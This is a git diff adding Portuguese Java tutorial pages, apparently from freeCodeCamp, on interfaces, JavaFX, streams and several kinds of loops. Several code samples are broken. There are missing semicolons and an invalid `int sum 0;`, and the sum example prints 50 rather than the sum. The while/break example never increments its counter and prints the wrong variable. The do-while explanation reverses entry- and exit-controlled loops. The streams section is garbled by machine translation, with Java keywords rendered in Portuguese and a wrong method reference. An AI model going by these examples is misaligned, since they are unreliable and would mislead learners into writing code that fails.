+++ b/client/src/guide/portuguese/java/interfaces/index.md
@@ -0,0 +1,265 @@
+---
+title: Interfaces
+localeTitle: Interfaces
+---
+# Interfaces
+
+A interface em Java é um pouco como a Classe, mas com uma diferença significativa: uma `interface` _só_ pode ter assinaturas de métodos, campos e métodos padrão. Desde o Java 8, você também pode criar [métodos padrão](https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html) . No próximo bloco você pode ver um exemplo de interface:
+
+```java
+public interface Vehicle { 
+    public String licensePlate = ""; 
+    public float maxVel 
+    public void start(); 
+    public void stop(); 
+    default void blowHorn(){ 
+      System.out.println("Blowing horn"); 
+   } 
+ } 
+```
+
+A interface acima contém dois campos, dois métodos e um método padrão. Sozinho, não é de muita utilidade, mas geralmente são usados ​​junto com Classes. Como? Simples, você tem que ter certeza que alguma classe o `implements` .
+
+```java
+public class Car implements Vehicle { 
+    public void start() { 
+        System.out.println("starting engine..."); 
+    } 
+    public void stop() { 
+        System.out.println("stopping engine..."); 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CItd/0)
+
+Agora, existe uma **regra básica** : A classe deve implementar **todos** os métodos na interface. Os métodos devem ter _exatamente a mesma_ assinatura (nome, parâmetros e exceções) conforme descrito na interface. A classe _não_ precisa declarar os campos, apenas os métodos.
+
+## Instâncias de uma interface
+
+Depois de criar uma classe Java que `implements` qualquer interface, a instância do objeto pode ser referenciada como uma instância da interface. Este conceito é semelhante ao da instanciação de herança.
+
+```java
+// following our previous example 
+ 
+ Vehicle tesla = new Car(); 
+ 
+ tesla.start(); // starting engine ... 
+```
+
+Uma interface **não pode** conter um método construtor, portanto, você **não pode** criar uma instância de uma interface em si. Você deve criar uma instância de alguma classe implementando uma interface para referenciá-la. Pense em interfaces como um formulário de contrato em branco ou um modelo.
+
+O que você pode fazer com esse recurso? Polimorfismo! Você pode usar apenas interfaces para se referir a instâncias de objetos!
+
+```java
+class Truck implements Vehicle { 
+    public void start() { 
+        System.out.println("starting truck engine..."); 
+    } 
+    public void stop() { 
+        System.out.println("stopping truck engine..."); 
+    } 
+ } 
+ 
+ class Starter { 
+    // static method, can be called without instantiating the class 
+    public static void startEngine(Vehicle vehicle) { 
+        vehicle.start(); 
+    } 
+ } 
+ 
+ Vehicle tesla = new Car(); 
+ Vehicle tata = new Truck(); 
+ 
+ Starter.startEngine(tesla); // starting engine ... 
+ Starter.startEngine(tata); // starting truck engine ... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CItm/0)
+
+## Mas e quanto a múltiplas interfaces?
+
+Sim, você pode implementar várias interfaces em uma única classe. Enquanto em [Herança](//forum.freecodecamp.com/t/java-docs-inheritance) dentro de Classes você estava restrito a herdar apenas uma classe, aqui você pode estender qualquer número de interfaces. Mas não esqueça de implementar _todos_ os métodos de todas as Interfaces, caso contrário a compilação falhará!
+
+```java
+public interface GPS { 
+    public void getCoordinates(); 
+ } 
+ 
+ public interface Radio { 
+    public void startRadio(); 
+    public void stopRadio(); 
+ } 
+ 
+ public class Smartphone implements GPS,Radio { 
+    public void getCoordinates() { 
+        // return some coordinates 
+    } 
+    public void startRadio() { 
+      // start Radio 
+    } 
+    public void stopRadio() { 
+        // stop Radio 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CIto/0)
+
+## Algumas características das interfaces
+
+*   Você pode colocar variáveis ​​dentro de uma Interface, embora não seja uma decisão sensata, pois as Classes não estão obrigadas a ter a mesma variável. Em suma, evite colocar variáveis!
+*   Todas as variáveis ​​e métodos em uma interface são públicos, mesmo se você deixar de fora a palavra-chave `public` .
+*   Uma interface não pode especificar a implementação de um método específico. Cabe às classes fazer isso. Embora tenha havido uma exceção recente (veja abaixo).
+*   Se uma classe implementa múltiplas interfaces, existe uma chance remota de sobreposição de assinatura de método. Como o Java não permite vários métodos da mesma assinatura, isso pode causar problemas. Veja [esta pergunta](http://stackoverflow.com/questions/2598009/method-name-collision-in-interface-implementation-java) para mais informações.
+
+## Métodos padrão de interface
+
+Antes do Java 8, não tínhamos como direcionar uma interface para ter uma implementação de método particular. Isso leva a muita confusão e quebras de código se uma definição de interface for repentinamente alterada.
+
+Suponha que você escreveu uma biblioteca de código aberto, que contém uma interface. Digamos, seus clientes, ou seja, praticamente todos os desenvolvedores em todo o mundo, estão usando muito e estão felizes. Agora você precisou atualizar a biblioteca adicionando uma nova definição de método à Interface para suportar um novo recurso. Mas isso quebraria _todas as_ compilações, já que todas as classes que implementam essa interface precisam mudar agora. Que catástrofe!
+
+Felizmente, o Java 8 agora nos fornece métodos `default` para Interfaces. Um método `default` _pode_ conter sua própria implementação _diretamente_ na Interface! Portanto, se uma classe não implementar um método padrão, o compilador executará a implementação mencionada na interface. Bom, não é? Então, em sua biblioteca, você pode adicionar qualquer número de métodos padrão em interfaces sem o medo de quebrar nada!
+
+```java
+public interface GPS { 
+    public void getCoordinates(); 
+    default public void getRoughCoordinates() { 
+        // implementation to return coordinates from rough sources 
+        // such as wifi & mobile 
+        System.out.println("Fetching rough coordinates..."); 
+    } 
+ } 
+ 
+ public interface Radio { 
+    public void startRadio(); 
+    public void stopRadio(); 
+ } 
+ 
+ public class Smartphone implements GPS,Radio { 
+    public void getCoordinates() { 
+        // return some coordinates 
+    } 
+    public void startRadio() { 
+      // start Radio 
+    } 
+    public void stopRadio() { 
+        // stop Radio 
+    } 
+ 
+    // no implementation of getRoughCoordinates() 
+ } 
+ 
+ Smartphone motoG = new Smartphone(); 
+ motog.getRoughCoordinates(); // Fetching rough coordinates... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CItp/0)
+
+### Mas o que acontece se duas interfaces tiverem a mesma assinatura de método?
+
+Pergunta impressionante. Nesse caso, se você não fornecer a implementação na classe, o compilador pobre ficará confuso e simplesmente falhará! Você tem que fornecer uma implementação de método padrão dentro da classe também. Há também uma maneira bacana de usar `super` para chamar de qual implementação você gosta:
+
+```java
+public interface Radio { 
+    // public void startRadio(); 
+    // public void stopRadio(); 
+ 
+    default public void next() { 
+        System.out.println("Next from Radio"); 
+    } 
+ } 
+ 
+ public interface MusicPlayer { 
+    // public void start(); 
+    // public void pause(); 
+    // public void stop(); 
+ 
+    default public void next() { 
+        System.out.println("Next from MusicPlayer"); 
+    } 
+ } 
+ 
+ public class Smartphone implements Radio, MusicPlayer { 
+    public void next() { 
+        // Suppose you want to call MusicPlayer next 
+        MusicPlayer.super.next(); 
+    } 
+ } 
+ 
+ Smartphone motoG = new Smartphone(); 
+ motoG.next(); // Next from MusicPlayer 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CIts/0)
+
+## Métodos estáticos em interfaces
+
+Outra novidade no Java 8 é a capacidade de adicionar métodos estáticos a interfaces. Métodos estáticos em interfaces são quase idênticos aos métodos estáticos em classes concretas. A única grande diferença é que os métodos `static` não são herdados nas classes que implementam a interface. Isso significa que a interface é referenciada ao chamar o método estático e não a classe que o implementa.
+
+```java
+interface MusicPlayer { 
+  public static void commercial(String sponsor) { 
+    System.out.println("Now for a message brought to you by " + sponsor); 
+  } 
+ 
+  public void play(); 
+ } 
+ 
+ 
+ class Smartphone implements MusicPlayer { 
+    public void play() { 
+        System.out.println("Playing from smartphone"); 
+    } 
+ } 
+ 
+ class Main { 
+  public static void main(String[] args) { 
+    Smartphone motoG = new Smartphone(); 
+    MusicPlayer.commercial("Motorola"); // Called on interface not on implementing class 
+    // motoG.commercial("Motorola"); // This would cause a compilation error 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CIts/9)
+
+## Herdando uma Interface
+
+Também é possível em Java que uma interface _herde_ outra interface, usando, você adivinhou, `extends` palavra-chave:
+
+```java
+public interface Player { 
+    public void start(); 
+    public void pause(); 
+    public void stop(); 
+ } 
+ 
+ public interface MusicPlayer extends Player { 
+    default public void next() { 
+        System.out.println("Next from MusicPlayer"); 
+    } 
+ } 
+```
+
+Isso significa que a Classe que implementa a Interface `MusicPlayer` tem que implementar _todos os_ métodos do `MusicPlayer` , bem como do `Player` :
+
+```java
+public class SmartPhone implements MusicPlayer { 
+    public void start() { 
+        System.out.println("start"); 
+    } 
+    public void stop() { 
+        System.out.println("stop"); 
+    } 
+    public void pause() { 
+        System.out.println("pause"); 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CIty/0)
+
+Ops, eu esqueci o `next()` ? Veja, já que era um método `default` , eu não tive que fornecer uma implementação. (Não funciona para JDK <8)
+
+Então, agora você tem uma boa compreensão das Interfaces! Aprenda mais sobre as Classes Abstratas para saber como o Java oferece outra maneira de definir contratos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/java-bean/index.md b/client/src/guide/portuguese/java/java-bean/index.md
new file mode 100644
index 0000000000..c2b53e4e9b
--- /dev/null
+++ b/client/src/guide/portuguese/java/java-bean/index.md
@@ -0,0 +1,11 @@
+---
+title: Java Bean
+localeTitle: Java Bean
+---
+## Java Bean
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/javafx/index.md b/client/src/guide/portuguese/java/javafx/index.md
new file mode 100644
index 0000000000..362bff277c
--- /dev/null
+++ b/client/src/guide/portuguese/java/javafx/index.md
@@ -0,0 +1,37 @@
+---
+title: JavaFX
+localeTitle: JavaFX
+---
+## Introdução
+
+JavaFX é uma estrutura gráfica criada pela Sun Microsystems usada para o desenvolvimento de aplicativos avançados de desktop e Internet. O JavaFX foi criado para substituir as mais antigas bibliotecas do Swing e do Abstract Window Toolkit (AWT) e servir como API gráfica padrão da linguagem Java para o Java Standard Edition.
+
+## Ferramentas de desenvolvimento
+
+### Gulon SceneBuilder
+
+Gulon Scene Builder é um aplicativo usado para design de interface do usuário (UI) no JavaFX. O aplicativo usa o recurso de arrastar e soltar para um rápido design da interface do usuário que permite visualizar a interface que você está criando durante a criação.
+
+#### Screeenshots:
+
+![IU do Construtor de Cena](https://i.imgur.com/3d9SqBR.png)
+
+### FXML
+
+FXML é uma linguagem de marcação baseada em XML usada para definir estruturas no JavaFX. O documento FXML apresenta os vários objetos da classe em uma árvore semelhante ao aninhamento de tags em documentos XML.
+
+#### Exemplo:
+
+```XML
+<HBox spacing="10" alignment="bottom_right" > // Creates an HBox Object 
+        <Button text="Sign In"/> // Nested inside the HBox is a Button object with the text 'Sign In' 
+ </HBox> 
+```
+
+### Referências:
+
+[Documentação FXML](https://docs.oracle.com/javase/8/javafx/api/javafx/fxml/doc-files/introduction_to_fxml.html)
+
+[Tutorial do Construtor de Cena](https://docs.oracle.com/javase/8/scene-builder-2/get-started-tutorial/overview.htm#JSBGS164)
+
+[Documentação oficial do JavaFX](https://docs.oracle.com/javase/8/javase-clienttechnologies.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/lambda-expressions/index.md b/client/src/guide/portuguese/java/lambda-expressions/index.md
new file mode 100644
index 0000000000..defb2731a0
--- /dev/null
+++ b/client/src/guide/portuguese/java/lambda-expressions/index.md
@@ -0,0 +1,37 @@
+---
+title: Lambda Expressions 
+localeTitle: Expressões Lambda
+---
+## Expressões Lambda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+O Stream Api é usado em java para permitir o encadeamento de operações sequenciais e agregadas. As operações de fluxo são de natureza intermediária ou terminal.
+
+Neste pequeno exemplo você pode ver que um dos utilitários de um fluxo é receber uma certa propriedade de todos os objetos em uma lista e retorná-la em outra lista usando operações intermediárias e de terminal.
+
+Suponha que você tenha uma classe de objeto de Student. \`\` java estudante de classe pública { int studentId; String studentName;
+
+public String getStudentName () { return this.studentName; }
+
+public int getStudentId () { return this.studentId; } // setters } \`\`
+
+Agora, suponha que em algum método você tenha uma lista de todos os alunos e queira obter uma lista de todos os nomes dos alunos. Tradicionalmente, isso pode ser algo assim.
+
+\`\` java Lista students = some list of student objects
+
+Lista studentNames = new ArrayList <> (); para (aluno estudante: alunos) { studentNames.add (student.getStudentName ()); } \`\` Embora isso não seja terrível, pode ser simplificado. Usando fluxos isso é possível com uma linha de código.
+
+\`\` java Lista students = some list of student objects
+
+Lista studentNames = students.stream (). map (String :: getStudentName) .collect (Collectors.toList ()); \`\`
+
+A API de fluxo de alunos examina a lista de alunos e usa a função de mapa intermediário para retornar uma nova lista de fluxos usando o método que estiver à direita do:
+
+A operação de coleta do terminal coleta o fluxo como uma lista de cadeias.
+
+Este é apenas um uso da API do Streams usada no java 8. Existem muitos outros aplicativos de fluxos que utilizam as outras operações, como visto aqui na documentação. [Fluxos api doc](https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html)
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/break-control-statement/index.md b/client/src/guide/portuguese/java/loops/break-control-statement/index.md
new file mode 100644
index 0000000000..dd38dc41d9
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/break-control-statement/index.md
@@ -0,0 +1,77 @@
+---
+title: Break Control Statement
+localeTitle: Declaração de controle de quebra
+---
+# Declaração de controle de quebra
+
+Encerra o loop e inicia a execução do código que segue imediatamente o loop. Se você tiver loops aninhados, a instrução de `break` só terminará o loop no qual ela é colocada.
+
+```java
+// Loop 1 
+ for (int i = 0; i < 10; i++) 
+ { 
+    // Loop 2 
+    for (int j = 0; j < 10; j++) 
+    { 
+        if (i == 5 && j == 5) 
+        { 
+            break; // Will terminate Loop 2, but Loop 1 will keep going 
+        } 
+    } 
+ } 
+```
+
+Mas se você quiser sair do loop externo também, use um rótulo para sair:
+
+```java
+loop1: // This is a label 
+ for (int i = 0; i < 10; i++) 
+ { 
+    // Loop 2 
+    for (int j = 0; j < 10; j++) 
+    { 
+        if (i == 5 && j == 5) 
+        { 
+            break loop1; // Will break out of Loop 1, instead of Loop 2 
+        } 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJZA/0)
+
+instruções de `break` podem ser particularmente úteis durante a pesquisa de um elemento em uma matriz. Usar a `break` no código a seguir melhora a eficiência quando o loop é interrompido assim que o elemento que procuramos ( `searchFor` ) é encontrado, em vez de continuar até que o fim de `arrayInts` seja atingido.
+
+```java
+int j = 0; 
+ int[] arrayOfInts = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ int searchFor = 5; 
+ 
+ for (int i : arrayOfInts) 
+ { 
+    if (arrayOfInts[j] == searchFor) 
+    { 
+        break; 
+    } 
+    j++; 
+ } 
+ 
+ System.out.println("j = " + j); 
+```
+
+A instrução break também pode ser usada na instrução while.
+
+```java
+int i = 0; 
+ int[] arrayOfInts = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ int searchFor = 5; 
+ 
+ while(i < 10){ 
+ System.out.println("i = " + j); 
+ if(arrayOfInts[i] > 7){ 
+  break; 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJZC/0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/continue-control-statement/index.md b/client/src/guide/portuguese/java/loops/continue-control-statement/index.md
new file mode 100644
index 0000000000..1308364f94
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/continue-control-statement/index.md
@@ -0,0 +1,51 @@
+---
+title: Continue Control Statement
+localeTitle: Continue a declaração de controle
+---
+# Continue a declaração de controle
+
+A instrução `continue` faz um loop pular todas as linhas seguintes após o continue e pular para o início da próxima iteração. Em um `for` loop, o controle passa para a instrução de atualização, e em um `while` ou `do while` loop, controle salta para a expressão booleana / condição.
+
+```java
+for (int j = 0; j < 10; j++) 
+ { 
+    if (j == 5) 
+    { 
+        continue; 
+    } 
+    System.out.print (j + " "); 
+ } 
+```
+
+O valor de `j` será impresso para cada iteração, exceto quando for igual a `5` . A instrução de impressão será ignorada por causa da `continue` e a saída será:
+```
+0 1 2 3 4 6 7 8 9 
+```
+
+Digamos que você queira contar o número de `i` s em uma palavra `mississippi` . Aqui você pode usar um loop com a instrução `continue` , da seguinte maneira:
+
+```java
+String searchWord = "mississippi"; 
+ 
+ // max stores the length of the string 
+ int max = searchWord.length(); 
+ int numPs = 0; 
+ 
+ for (int i = 0; i < max; i++) 
+ { 
+    // We only want to count i's - skip other letters 
+    if (searchWord.charAt(i) != 'i') 
+    { 
+        continue; 
+    } 
+ 
+    // Increase count_i for each i encountered 
+    numPs++; 
+ } 
+ 
+ System.out.println("numPs = " + numPs); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJZH/0)
+
+Além disso, você pode usar rótulos para escolher um loop específico fora de um conjunto aninhado para pular para a próxima iteração.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/control-statements/index.md b/client/src/guide/portuguese/java/loops/control-statements/index.md
new file mode 100644
index 0000000000..77f7a0b217
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/control-statements/index.md
@@ -0,0 +1,49 @@
+---
+title: Jump Statements
+localeTitle: Saltar Declarações
+---
+# Saltar Declarações
+
+Instruções de salto são um tipo de instruções de [_fluxo_](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/flow.html) de [_controle_](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/flow.html) . Basicamente, você pode usá-los para alterar a ordem na qual as instruções são executadas a partir do curso normal da execução. Em essência, essas instruções fazem com que o controle do programa "pule" do próximo ponto esperado de execução para outro local no programa.
+
+As seguintes instruções de salto são comumente usadas com loops:
+
+*   [pausa](http://forum.freecodecamp.com/t/java-loops-break-control-statement)
+*   [continuar](http://forum.freecodecamp.com/t/java-loops-continue-control-statement)
+
+A instrução de controle 'break' quebra o loop quando a condição é atendida. Isso significa que o restante do loop não será executado. Por exemplo, no loop abaixo, se eu atingir 5, o loop será interrompido, portanto, ele não continuará.
+
+```java
+for(int i=0;i<10;i++){ 
+ 
+  if(i == 5){ //if i is 5, break out of the loop. 
+    break; 
+  } 
+ 
+ System.out.println(i); 
+ } 
+```
+
+Saída:
+```
+    0 1 2 3 4 
+```
+
+A instrução de controle 'continue' é a versão menos intensa de 'break'. Só sai da instância atual do loop e continua. No loop abaixo, se eu for 5, o loop continua, então ele irá pular a instrução print abaixo e seguir em frente até que eu alcance 10 e o loop pare.
+
+```java
+for(int i=0;i<10;i++){ 
+ 
+  if(i == 5){ //if i is 5, break out of the current instance loop. 
+    continue; 
+  } 
+ 
+ System.out.println(i); 
+ } 
+```
+
+Saída:
+```
+    0 1 2 3 4 6 7 8 9 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/do-while-loop/index.md b/client/src/guide/portuguese/java/loops/do-while-loop/index.md
new file mode 100644
index 0000000000..4feda114c8
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/do-while-loop/index.md
@@ -0,0 +1,55 @@
+---
+title: Do...While Loop
+localeTitle: Fazer ... While Loop
+---
+# Do… While Loop
+
+O `do while` é semelhante `while` loop while, mas o grupo de instruções é garantido para ser executado pelo menos uma vez antes de verificar uma determinada condição. Uma coisa importante a notar é que o loop 'while' é um loop de controle de saída. while (não será necessariamente executado), 'do while' é um loop de entrada controlada (será executado pelo menos uma vez, mesmo se a condição não for verdadeira).
+
+```java
+do 
+ { 
+    // Statements 
+ } 
+ while (condition); 
+```
+
+## Exemplo
+
+```java
+int iter_DoWhile = 20; 
+ do 
+ { 
+    System.out.print (iter_DoWhile + " "); 
+ 
+    // Increment the counter 
+    iter_DoWhile++; 
+ } 
+ while (iter_DoWhile < 10); 
+ System.out.println("iter_DoWhile Value: " + iter_DoWhile); 
+```
+
+Saída:
+```
+    20 
+    iter_DoWhile Value: 21 
+```
+
+**Lembre** - **se** : A condição de um loop `do-while` while é verificada depois que o corpo do código é executado uma vez.
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJYl/0)
+
+## Exercício
+
+Você consegue adivinhar a saída do seguinte trecho de código?
+
+```java
+int i = 10; 
+ do 
+ { 
+    System.out.println("The value of i is " + i); 
+    i--; 
+ } 
+ while (i >= 10); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/for-each-loop/index.md b/client/src/guide/portuguese/java/loops/for-each-loop/index.md
new file mode 100644
index 0000000000..bbf44adf1e
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/for-each-loop/index.md
@@ -0,0 +1,85 @@
+---
+title: For Each Loop
+localeTitle: Para cada loop
+---
+# Para cada loop
+
+Também chamado `for` loop `for` aprimorado, é uma maneira extremamente útil e simples de iterar sobre cada item em uma coleção, matriz ou qualquer objeto que implemente a interface `Iterable` .
+
+```java
+for (object : iterable) 
+ { 
+    // Statements 
+ } 
+```
+
+O loop é lido como "para cada elemento no `iterable` (pode ser um array, colecionável etc.)". O tipo de `object` deve corresponder ao tipo de elemento do `iterable` .
+
+```java
+int[] number_list = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ 
+ for (int numbers : number_list) 
+ { 
+    System.out.print(numbers + " "); 
+    // Iterated 10 times, numbers 0,1,2...9 
+ } 
+```
+
+Saída:
+```
+    0 1 2 3 4 5 6 7 8 9 
+```
+
+: rocket: [Run Code](https://repl.it/CJYs/0)
+
+Comparando isso com o tradicional `for` laços:
+
+```java
+int[] number_list = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ 
+ for(int i=0;i < number_list.length;i++) 
+ { 
+  System.out.print(number_list[i]+" "); 
+      // Iterated 10 times, numbers 0,1,2...9 
+ 
+ } 
+```
+
+Saída:
+```
+    0 1 2 3 4 5 6 7 8 9 
+```
+
+: rocket: [Run Code](https://repl.it/NJfG/0)
+
+Ambas as partes de trechos de código acima fazem o mesmo trabalho, no entanto, claramente, para cada loop oferece vantagens em facilitar a iteração e o acesso a elementos de uma coleção (array, no nosso caso).
+
+Com os loops forçados aprimorados, não precisamos mais mencionar os pontos inicial e final para o loop, reduzindo assim os erros de OutofBounds. A necessidade de contadores de loop e a indexação manual são removidas e a legibilidade do código é aprimorada.
+
+É importante observar que fazer alterações na variável de iteração para loops forçados aprimorados dentro do loop não causa alterações nos elementos da coleção original.
+
+Os loops forçados aprimorados também podem ser usados ​​com matrizes multidimensionais ou outras coleções Java. Um exemplo de seu uso com matrizes multidimensionais é mostrado abaixo:
+
+```java
+int number_list_new[][]={  {  0,  1, 2}, 
+                  {  3, 4, 5}, 
+                  { 6, 7, 8} }; 
+ 
+ // Because 2d arrays are implemented as "arrays of arrays",the first iteration variable iterates 
+ // through 3 such arrays(that is, the 3 rows of testarr[][]) 
+ for(int i[] : number_list_new) 
+ { 
+  for(int j : i){ 
+    System.out.print(j+" "); 
+  } 
+ } 
+```
+
+Saída:
+```
+0 1 2 3 4 5 6 7 8 
+```
+
+: rocket: [Run Code](https://repl.it/NJhP/0)
+
+Nos trechos de código acima, `number_list` é uma matriz. Se você não sabe o que é isso, não se preocupe com isso. Uma matriz é um objeto contêiner que contém um número fixo de valores de um único tipo, mas mais sobre isso depois.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/for-loop/index.md b/client/src/guide/portuguese/java/loops/for-loop/index.md
new file mode 100644
index 0000000000..bb08eb67c1
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/for-loop/index.md
@@ -0,0 +1,73 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
+# Para loop
+
+O loop `for` oferece uma maneira compacta de iterar em um intervalo de valores. Uma instrução básica `for` tem três partes: uma inicialização de variável, uma expressão booleana e uma expressão de incremento.
+
+```java
+for (variable initialization; boolean expression; increment expression) 
+ { 
+    // Statements 
+ } 
+```
+
+*   `initialization` - Inicializa o loop e é executado apenas uma vez, no início.
+
+Você pode inicializar mais de uma variável do mesmo tipo na primeira parte da declaração básica `for` loop; Cada inicialização deve ser separada por uma vírgula.
+
+*   `expression` - avaliada no início de cada iteração. Se a `expression` avaliada como `true` , as `Statements` serão executadas.
+*   `increment` - Chamado após cada iteração através do loop. Você pode aumentar / diminuir o valor das variáveis ​​aqui. Certifique-se de que o incremento esteja funcionando em relação ao valor da expressão, para evitar um loop infinito.
+
+Uma maneira comum `for` loop é usado é se você precisa para percorrer o seu código de um número específico de vezes. Por exemplo, se você quiser gerar os números de 0 a 10, inicialize a variável do seu contador com 0, depois verifique se o valor é menor que 10 e adicione um ao contador após cada iteração.
+
+Observe que você deve verificar se o valor é menor que 10, não menor que ou igual a 10, pois você está iniciando o contador em 0.
+
+```java
+for (int iter_For = 0; iter_For < 10; iter_For++) 
+ { 
+    System.out.print(iter_For + " "); 
+    // Iterated 10 times, iter_For 0,1,2...9 
+ } 
+ 
+ System.out.println("iter_For Value: " + iter_For); 
+```
+
+Nota: Também é aceitável declarar uma variável dentro do loop for como uma única instrução.
+
+```java
+for (int iter_For = 0; iter_For < 10; iter_For++) 
+ { 
+    System.out.print (iter_For + " "); 
+    // Iterated 10 times, iter_For 0,1,2...9 
+ } 
+```
+
+Saída:
+```
+0 1 2 3 4 5 6 7 8 9 
+ iter_For Value: 10 
+```
+
+Outro exemplo de loop for que adiciona os primeiros 50 números seria assim. i ++ significa i = i + 1.
+
+```java
+int addUntil = 50; 
+ int sum 0; 
+ 
+ for (int i = 1; i <= addUntil; i++) 
+ { 
+    sum+=i 
+ } 
+ 
+ System.out.println("The sum of the first 50 numbers is: " + 50); 
+```
+
+![:rocket:](https://forum.freecodecamp.org/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJYr/0)
+
+### Extras
+
+Você não pode usar um número (antiga construção de linguagem no estilo C) ou qualquer coisa que não avalie um valor booleano como uma condição para uma instrução if ou construção de loop. Você não pode, por exemplo, dizer if (x), a menos que x seja uma variável booleana.
+
+Além disso, é importante ter em mente que a expressão booleana deve, em algum momento, ser avaliada como verdadeira. Caso contrário, seu programa ficará preso em um loop infinito.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/index.md b/client/src/guide/portuguese/java/loops/index.md
new file mode 100644
index 0000000000..778995b9de
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/index.md
@@ -0,0 +1,24 @@
+---
+title: Loops
+localeTitle: rotações
+---
+# rotações
+
+Sempre que você precisar executar um bloco de código várias vezes, um loop geralmente vem a calhar.
+
+Java tem 4 tipos de loops:
+
+*   [While Loop](loops/while-loop)
+*   [Do… While Loop](loops/do-while-loop)
+*   [Para loop](loops/for-loop)
+*   [Para cada loop](loops/for-each-loop)
+
+O comportamento de loops pode ser personalizado usando:
+
+*   [Declarações de Controle](loops/control-statements)
+    *   [Declaração de controle de quebra](loops/break-control-statement)
+    *   [Continue a declaração de controle](loops/continue-control-statement)
+
+Um caso especial de loops:
+
+*   [Loops Infinitos](loops/infinite-loops)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/infinite-loops/index.md b/client/src/guide/portuguese/java/loops/infinite-loops/index.md
new file mode 100644
index 0000000000..e14977ffd5
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/infinite-loops/index.md
@@ -0,0 +1,65 @@
+---
+title: Infinite Loops
+localeTitle: Loops Infinitos
+---
+# Loops Infinitos
+
+Um loop infinito é uma instrução loop ( `for` , `while` , `do-while` ) que não termina sozinha.
+
+A condição de teste de uma instrução em loop decide se o corpo do loop será executado ou não. Assim, uma condição de teste que é sempre verdadeira continuará a executar o corpo do loop, para sempre. Esse é o caso em um loop infinito.
+
+Exemplos:
+
+```java
+// Infinite For Loop 
+ for ( ; ; ) 
+ { 
+    // some code here 
+ } 
+ 
+ // Infinite While Loop 
+ while (true) 
+ { 
+    // some code here 
+ } 
+ 
+ // Infinite Do While Loop 
+ do 
+ { 
+    // some code here 
+ } while (true); 
+```
+
+Normalmente, se o seu loop está rodando infinitamente, é um erro que não deve ocorrer, já que um loop infinito não para e impede que o resto do programa seja executado.
+
+```java
+for(int i=0;i<100;i++){ 
+ 
+    if(i==49){ 
+    i=0; 
+    } 
+ 
+ } 
+```
+
+O loop acima é executado infinitamente, porque toda vez que me aproximo de 49, ele é definido como 0. Isso significa que nunca alcanço 100 para finalizar o loop, portanto, o loop é um loop infinito.
+
+Mas um programa preso em tal loop continuará usando os recursos do computador indefinidamente. Isso é indesejável e é um tipo de 'erro em tempo de execução'.
+
+Para evitar o erro, os programadores usam uma instrução break para sair do loop. A quebra é executada apenas sob uma condição específica. O uso de uma instrução de seleção como if-else garante o mesmo.
+
+```java
+while (true) 
+ { 
+    // do something 
+ 
+    if(conditionToEndLoop == true) 
+        break; 
+ 
+    // do more 
+ } 
+```
+
